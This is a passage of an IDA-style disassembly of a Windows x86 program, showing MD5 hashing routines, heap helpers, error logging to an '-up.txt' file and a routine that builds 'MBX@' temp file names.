		push	0BD3AF235h
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_41B970
		push	2AD7D2BBh
		push	0Fh
		push	[ebp+var_48]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_41B970
		push	0EB86D391h
		push	15h
		push	[ebp+var_2C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_41B970
		mov	eax, [ebp+var_4]
		add	esp, 54h
		add	[esi], eax
		mov	eax, [ebp+var_8]
		add	[esi+4], eax
		mov	eax, [ebp+var_C]
		add	[esi+8], eax
		mov	eax, [ebp+var_10]
		add	[esi+0Ch], eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41B0C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B970	proc near		; CODE XREF: sub_41B0C8+79Cp
					; sub_41B0C8+7B8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		not	eax
		or	eax, [ebp+arg_4]
		push	esi
		push	20h
		xor	eax, [ebp+arg_8]
		pop	ecx
		sub	ecx, [ebp+arg_14]
		add	eax, [edx]
		add	eax, [ebp+arg_10]
		add	eax, [ebp+arg_18]
		mov	esi, eax
		shr	esi, cl
		mov	ecx, [ebp+arg_14]
		shl	eax, cl
		or	esi, eax
		add	esi, [ebp+arg_4]
		mov	[edx], esi
		pop	esi
		pop	ebp
		retn
sub_41B970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9A3	proc near		; CODE XREF: _3:0041B03Fp _3:0041B07Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_41B9E6
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_41B9BB:				; CODE XREF: sub_41B9A3+40j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [ebp+arg_8]
		jb	short loc_41B9BB
		pop	esi


loc_41B9E6:				; CODE XREF: sub_41B9A3+7j
		pop	ebp
		retn	0Ch
sub_41B9A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9EA	proc near		; CODE XREF: sub_41B0C8+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_41BA2E
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx


loc_41BA03:				; CODE XREF: sub_41B9EA+40j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [ebp+arg_8]
		jb	short loc_41BA03
		pop	edi
		pop	esi


loc_41BA2E:				; CODE XREF: sub_41B9EA+7j
		pop	ebp
		retn	0Ch
sub_41B9EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA32	proc near		; CODE XREF: _3:00412C91p _3:00412CB2p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	ds:dword_4246F8	; RaiseException
		leave
		retn
sub_41BA32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA4A	proc near		; CODE XREF: sub_411310+3BAp
					; _3:00412E90p	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_41BA87
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BA61
		xor	eax, eax
		jmp	short locret_41BA85
; ---------------------------------------------------------------------------


loc_41BA61:				; CODE XREF: sub_41BA4A+11j
		push	[ebp+arg_0]
		push	8
		push	[ebp+var_8]
		call	ds:dword_4246C0	; RtlAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41BA82
		mov	ecx, 0EF000009h
		call	sub_41BA32


loc_41BA82:				; CODE XREF: sub_41BA4A+2Cj
		mov	eax, [ebp+var_4]

locret_41BA85:				; CODE XREF: sub_41BA4A+15j
		leave
		retn
sub_41BA4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA87	proc near		; CODE XREF: sub_41BA4A+5p
					; sub_41BACD:loc_41BAD9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4249A4, 0
		jnz	short loc_41BAB0
		push	0
		push	10000h
		push	0
		call	ds:dword_4246C8	; HeapCreate
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4249A4, eax
		jmp	short loc_41BAB8
; ---------------------------------------------------------------------------


loc_41BAB0:				; CODE XREF: sub_41BA87+Bj
		mov	eax, ds:dword_4249A4
		mov	[ebp+var_4], eax


loc_41BAB8:				; CODE XREF: sub_41BA87+27j
		cmp	[ebp+var_4], 0
		jnz	short loc_41BAC8
		mov	ecx, 0EF00000Dh
		call	sub_41BA32


loc_41BAC8:				; CODE XREF: sub_41BA87+35j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41BA87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BACD	proc near		; CODE XREF: _3:0041221Ep
					; sub_41302C+10p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BAD9
		jmp	short locret_41BAEF
; ---------------------------------------------------------------------------


loc_41BAD9:				; CODE XREF: sub_41BACD+8j
		call	sub_41BA87
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	ds:dword_4246C4	; RtlFreeHeap

locret_41BAEF:				; CODE XREF: sub_41BACD+Aj
		leave
		retn
sub_41BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAF1	proc near		; CODE XREF: sub_41BB7C+64p
					; sub_41BBE7+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		call	ds:dword_424744	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_4214EC
		push	[ebp+var_4]
		push	0
		call	ds:dword_424750	; MessageBoxA
		push	0
		call	ds:dword_424664	; GetCurrentProcess
		push	eax
		call	ds:dword_424718	; TerminateProcess
		leave
		retn
sub_41BAF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB26	proc near		; CODE XREF: sub_41BB7C+52p
					; sub_41BB7C+5Cp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4214F8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], ecx
		and	[ebp+var_4], 0
		push	[ebp+var_1C]
		call	sub_41BC28
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BB6D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41BB6D:				; CODE XREF: sub_41BB26+3Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB7C	proc near		; CODE XREF: sub_413056+C4p
					; sub_41396C+CDp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset dword_424988
		call	ds:dword_424644	; RtlEnterCriticalSection
		mov	[ebp+var_8], offset dword_4249A8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aErrorAtSDReaso ; "Error	at %s:%d\n\nReason: "
		push	[ebp+var_8]
		call	ds:dword_424754	; wsprintfA
		add	esp, 10h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		push	eax
		call	ds:dword_424758	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_41BB26
		mov	ecx, offset asc_423D28 ; "\n"
		call	sub_41BB26
		mov	ecx, [ebp+var_8]
		call	sub_41BAF1
		leave
		retn
sub_41BB7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE7	proc near		; CODE XREF: sub_4184A0+102p
					; sub_420D80+8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], offset dword_4249A8
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_424758	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_41BB26
		mov	ecx, offset asc_423D28 ; "\n"
		call	sub_41BB26
		mov	ecx, [ebp+var_8]
		call	sub_41BAF1
		leave
		retn
sub_41BBE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC28	proc near		; CODE XREF: sub_41BB26+30p
					; sub_41BE16+74p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421508
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	offset dword_424988
		call	ds:dword_424644	; RtlEnterCriticalSection
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, offset dword_411740
		mov	eax, [eax+4]
		mov	eax, [eax+60h]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	loc_41BD9D
		push	400h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], eax
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		mov	ecx, offset dword_411740
		mov	ecx, [ecx+4]
		mov	[ecx+64h], eax
		mov	eax, offset dword_411740
		mov	eax, [eax+4]
		cmp	dword ptr [eax+64h], 0
		jnz	short loc_41BCB2
		jmp	loc_41BDE6
; ---------------------------------------------------------------------------


loc_41BCB2:				; CODE XREF: sub_41BC28+83j
		push	400h
		push	[ebp+var_1C]
		mov	eax, offset dword_411740
		mov	eax, [eax+4]
		push	dword ptr [eax+64h]
		call	ds:dword_424694	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41BCD4
		jmp	loc_41BDE6
; ---------------------------------------------------------------------------


loc_41BCD4:				; CODE XREF: sub_41BC28+A5j
		mov	edi, [ebp+var_1C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_24], ecx
		push	offset aUp_txt	; "-up.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_424754	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_424628	; CreateFileA
		mov	ecx, offset dword_411740
		mov	ecx, [ecx+4]
		mov	[ecx+60h], eax
		mov	eax, offset dword_411740
		mov	eax, [eax+4]
		mov	eax, [eax+60h]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41BD38
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_41BD80


loc_41BD38:				; CODE XREF: sub_41BC28+108j
		push	offset aUp1_txt	; "-up1.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_424754	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_424628	; CreateFileA
		mov	ecx, offset dword_411740
		mov	ecx, [ecx+4]
		mov	[ecx+60h], eax
		mov	eax, offset dword_411740
		mov	eax, [eax+4]
		mov	eax, [eax+60h]
		mov	[ebp+var_20], eax


loc_41BD80:				; CODE XREF: sub_41BC28+10Ej
		cmp	[ebp+var_20], 0
		jz	short loc_41BD8C
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_41BD8E


loc_41BD8C:				; CODE XREF: sub_41BC28+15Cj
		jmp	short loc_41BDE6
; ---------------------------------------------------------------------------


loc_41BD8E:				; CODE XREF: sub_41BC28+162j
		push	2
		push	0
		push	0
		push	[ebp+var_20]
		call	ds:dword_424708	; SetFilePointer


loc_41BD9D:				; CODE XREF: sub_41BC28+4Aj
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	short loc_41BDD7
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+arg_0]
		push	[ebp+var_20]
		call	ds:dword_42473C	; WriteFile
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+var_28], ecx
		jz	short loc_41BDD7
		jmp	short loc_41BDE6
; ---------------------------------------------------------------------------


loc_41BDD7:				; CODE XREF: sub_41BC28+179j
					; sub_41BC28+1ABj ...
		push	0FFFFFFFFh
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		jmp	short loc_41BE07
; ---------------------------------------------------------------------------


loc_41BDE6:				; CODE XREF: sub_41BC28+85j
					; sub_41BC28+A7j ...
		and	[ebp+var_2C], 0
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDEC:				; DATA XREF: _4:00421510o
		push	offset dword_424988
		call	ds:dword_4246D4	; RtlLeaveCriticalSection
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41BE07:				; CODE XREF: sub_41BC28+1BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE16	proc near		; CODE XREF: sub_414C5A+345p
					; sub_41C317+1Dp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

; FUNCTION CHUNK AT 0041BEAB SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421518
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	ds:dword_424758	; wvsprintfA
		mov	[ebp+var_24], eax
		push	offset asc_423D5C ; "\r\n"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_424754	; wsprintfA
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		push	[ebp+var_1C]
		call	sub_41BC28
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41BE9B
		jmp	short loc_41BEAB
sub_41BE16	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE9B	proc near		; CODE XREF: sub_41BE16+7Ep
					; DATA XREF: _4:00421520o
		mov	eax, [ebp-1Ch]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_41BACD
		pop	ecx
		retn
sub_41BE9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BE16


loc_41BEAB:				; CODE XREF: sub_41BE16+83j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_41BE16

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEBA	proc near		; CODE XREF: sub_419995+C6Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041BF73 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421528
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		push	0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	400h
		call	ds:dword_424690	; RtlGetLastWin32Error
		push	eax
		push	0
		push	1300h
		call	ds:dword_42465C	; FormatMessageA
		cmp	[ebp+var_20], 0
		jz	short loc_41BF49
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_20]
		push	offset aWindowsErrorSA ; "windows error	%s\n  at %s(%d)\n"
		push	[ebp+var_1C]
		call	ds:dword_424754	; wsprintfA
		add	esp, 14h
		push	[ebp+var_1C]
		call	sub_41BC28
		pop	ecx


loc_41BF49:				; CODE XREF: sub_41BEBA+6Aj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41BF54
		jmp	short loc_41BF73
sub_41BEBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF54	proc near		; CODE XREF: sub_41BEBA+93p
					; DATA XREF: _4:00421530o
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_41BF63
		push	dword ptr [ebp-20h]
		call	ds:dword_4246E4	; LocalFree


loc_41BF63:				; CODE XREF: sub_41BF54+4j
		mov	eax, [ebp-1Ch]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_41BACD
		pop	ecx
		retn
sub_41BF54	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BEBA


loc_41BF73:				; CODE XREF: sub_41BEBA+98j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_41BEBA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF82	proc near		; CODE XREF: sub_41925C+A2p
					; sub_419995+1DFp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		movzx	eax, ds:byte_4249A0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41BFAE
		mov	al, ds:byte_4249A0
		or	al, 1
		mov	ds:byte_4249A0,	al
		call	ds:dword_424668	; GetCurrentProcessId
		mov	ds:dword_424980, eax


loc_41BFAE:				; CODE XREF: sub_41BF82+13j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BFBE
		mov	eax, ds:dword_424980
		mov	[ebp+var_10], eax
		jmp	short loc_41BFC4
; ---------------------------------------------------------------------------


loc_41BFBE:				; CODE XREF: sub_41BF82+30j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41BFC4:				; CODE XREF: sub_41BF82+3Aj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		push	124h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		push	49h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_4]
		rep stosd
		push	[ebp+var_4]
		push	104h
		call	ds:dword_4246B4	; GetTempPathA
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C038
		mov	eax, ds:dword_4289A8
		inc	eax
		mov	ds:dword_4289A8, eax
		push	ds:dword_4289A8
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_424754	; wsprintfA
		add	esp, 14h
		jmp	short loc_41C08B
; ---------------------------------------------------------------------------


loc_41C038:				; CODE XREF: sub_41BF82+7Aj
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_41C067
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X_ ; "MBX@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_424754	; wsprintfA
		add	esp, 10h
		jmp	short loc_41C08B
; ---------------------------------------------------------------------------


loc_41C067:				; CODE XREF: sub_41BF82+BAj
		push	[ebp+var_8]
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_424754	; wsprintfA
		add	esp, 0Ch


loc_41C08B:				; CODE XREF: sub_41BF82+B4j
					; sub_41BF82+E3j
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_4]
		call	ds:dword_424748	; CharUpperBuffA
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn
sub_41BF82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0A8	proc near		; CODE XREF: sub_41C106+E1p
					; sub_41C106+150p

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		movzx	eax, [ebp+arg_0]
		cmp	eax, 30h
		jl	short loc_41C0C6
		movzx	eax, [ebp+arg_0]
		cmp	eax, 39h
		jg	short loc_41C0C6
		movzx	eax, [ebp+arg_0]
		sub	eax, 30h
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0C6:				; CODE XREF: sub_41C0A8+Aj
					; sub_41C0A8+13j
		movzx	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	short loc_41C0E1
		movzx	eax, [ebp+arg_0]
		cmp	eax, 46h
		jg	short loc_41C0E1
		movzx	eax, [ebp+arg_0]
		sub	eax, 37h
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0E1:				; CODE XREF: sub_41C0A8+25j
					; sub_41C0A8+2Ej
		movzx	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	short loc_41C0FC
		movzx	eax, [ebp+arg_0]
		cmp	eax, 66h
		jg	short loc_41C0FC
		movzx	eax, [ebp+arg_0]
		sub	eax, 57h
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0FC:				; CODE XREF: sub_41C0A8+40j
					; sub_41C0A8+49j
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax],	1
		xor	eax, eax


loc_41C104:				; CODE XREF: sub_41C0A8+1Cj
					; sub_41C0A8+37j ...
		pop	ebp
		retn
sub_41C0A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C106	proc near		; CODE XREF: sub_41553D+278p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421538
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	loc_41C2E5
		call	ds:dword_424668	; GetCurrentProcessId
		mov	[ebp+var_1C], eax
		push	5Ch
		push	[ebp+arg_0]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C161
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+arg_0], eax


loc_41C161:				; CODE XREF: sub_41C106+52j
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 4
		jle	loc_41C2E5
		push	4
		pop	ecx
		mov	edi, offset aMbx@ ; "MBX@"
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_34], eax
		repe cmpsb
		jz	short loc_41C197
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_34], eax


loc_41C197:				; CODE XREF: sub_41C106+87j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	loc_41C2E5
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		push	40h
		push	[ebp+arg_0]
		call	sub_410810
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_41C2E5
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0


loc_41C1D1:				; CODE XREF: sub_41C106+FCj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_3C], al
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_41C0A8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_41C1D1
